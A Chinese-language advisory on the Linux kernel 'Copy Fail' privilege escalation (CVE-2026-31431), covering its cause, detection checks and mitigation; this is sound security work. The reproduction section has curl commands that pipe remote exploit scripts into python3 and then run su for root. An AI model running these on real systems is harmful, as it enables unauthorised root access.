漏洞简介
Xint Code 披露了 CVE-2026-31431,这是一个身份验证临时写入漏洞,利用 AF_ALG + splice() 函数链式调用,导致 4 字节的页面缓存写入。
一个 732 字节的 PoC 代码可以在 Ubuntu、Amazon Linux、RHEL 和 SUSE 系统上获取 root 权限。
Copy Fail 仅需要一个非特权本地用户帐户——无需网络访问权限、内核调试功能或预装原语。
内核加密 API ( AF_ALG) 在几乎所有主流发行版的默认配置中都已启用,因此 2017 年至今的所有补丁窗口都已开箱即用。

漏洞原理
该缺陷存在于 Linux 内核的 algif_aead 代码中,该代码用于 AF_ALG 加密套接字接口。2017 年,为了优化性能,内核将 AEAD 操作“原地”执行,方法是将源缓冲区和目标缓冲区设置为同一内存区域。
当一个可读文件被插入到 AF_ALG 套接字中时,内核传递的是指向该文件页面缓存的引用,而不是复制文件。
由于源缓冲区和目标缓冲区是共享的,这些通常只读的页面缓存变得可写。
身份验证算法(IPsec 用于扩展序列号)随后将目标缓冲区用作临时暂存空间,并在预期输出边界之外写入四个字节。
该写入操作直接进入拼接文件的页面缓存。
内核不会将该页面标记为脏页,因此磁盘上的文件未发生更改,文件完整性检查仍然通过。
最后,攻击者执行了一个内存内容已被修改的 setuid 二进制文件(例如,通过修改缓存的 /etc/passwd 或 /usr/bin/su 数据),从而获得 root shell 权限。
这个漏洞源于多年来几项看似合理的系统设计变更相互作用的结果,这些变更共同构成了一条强大的提权路径,而这条路径在近十年间一直未被察觉。
复现过程
1.确认系统版本: Ubuntu 24.04 LTS
2.创建低权限用户
3.最终,非常简单流畅地实现了提权目标
cat /etc/*releaseuname -a


# 创建低权限用户sudo adduser lowuser

curl https://copy.fail/exp | python3 && su

利用优化
https://copy.fail/exp 的exp兼容性不是特别好,下面这两种情况可能会失败
1. 3.10 版本之前的操作系统不包含 splice() 函数。
2. 不同系统su 默认路径不同

下面给出快速利用的解决脚本
curl https://raw.githubusercontent.com/slaptat/copyFail30/refs/heads/main/copyFail30.py | python3 && su# 国内加速curl https://img.rad0.indevs.in/https://github.com/slaptat/copyFail30/blob/main/copyFail30.py | python3 && su

注意事项
https://github.com/theori-io/copy-fail-CVE-2026-31431/issues 中有网友提到:
如果你先前已经运行过上述exploit脚本,那么su内存映像已遭到破坏,除非重启,要不然就相当留了一个提权后门程序。

su 正常执行的情况是提示输入密码的
su 被exp破坏之后,因为二进制内存映像已经被替换为shellcode ,所以相当于su是一个ROOT后门了。
不过经过测试,网友提供的办法可以在不重启情况下恢复su文件
python3 - <<'PY'import ospaths = ["/usr/bin/su","/bin/su",]page = os.sysconf("SC_PAGE_SIZE")for path in paths:ifnot os.path.exists(path): print(f"[-] not found: {path}")continueifnot os.path.isfile(path): print(f"[-] not a file: {path}")continuetry: fd = os.open(path, os.O_RDONLY | getattr(os, "O_CLOEXEC", 0))try: os.posix_fadvise(fd, 0, page, os.POSIX_FADV_DONTNEED) print(f"[+] fadvise DONTNEED success: {path}")finally: os.close(fd)except PermissionError as e: print(f"[-] permission denied: {path}: {e}")except AttributeError: print("[-] os.posix_fadvise not supported on this Python/platform")breakexcept OSError as e: print(f"[-] failed: {path}: {e}")PY

漏洞披露

手工检测
通过如下命令快速判断当前机器是否受影响
uname -r

检查内核配置是否启用(推荐)
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
注意: 结果会出现以下三种情况:
CONFIG_CRYPTO_USER_API_AEAD=n 彻底关闭,不受影响,无需处理
CONFIG_CRYPTO_USER_API_AEAD=y 静态编译进内核,Ismod 查不到,但受影响,暂无缓解措施,只能升级内核(例如:RHEL/CentOS/Rocky Linux/AlmaLinux 8, 9, 10 三代产品)
CONFIG_CRYPTO_USER_API_AEAD=m 模块方式,Ismod 可查,加载就有风险,受影响,可通过缓解措施缓解
# 检查 AF_ALG AEAD 接口是否可加载:modinfo algif_aead

进一步检查 AF_ALG socket 是否可创建
python3 -c "import socket; socket.socket(38,5,0); print('VULNERABLE')"

如果系统运行的是 Linux 内核 4.14 或更高版本,并且安装了 algif_aead 模块,则该系统可能存在安全漏洞。
缓解措施
1.禁用 algif_aead 模块(Linux):
将该模块列入黑名单,防止其在下次启动时加载,然后从正在运行的内核中卸载它:
echo"install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.confrmmod algif_aead 2>/dev/null
确认该模块已不再加载
lsmod | grep algif_aead
如果结果为空,则表示该模块已卸载。注意:如果任何正在运行的应用程序显式依赖于 AF_ALG AEAD 操作,则可能会导致故障。请先在非生产环境中进行测试。
漏洞总结

这个漏洞是人类顶尖安全研究员 x 人工智能(Xint Code)的产物。
当下,AI正在以学习、融合乃至超越人类顶尖安全研究员作为网络安全攻关的奋斗目标。
潘多拉魔盒已然开启,网络安全领域即将迎来 AI 引领群魔乱舞的全新时代!
我们这一代普通人正在做的、只能做的,都是在成为历史的见证者。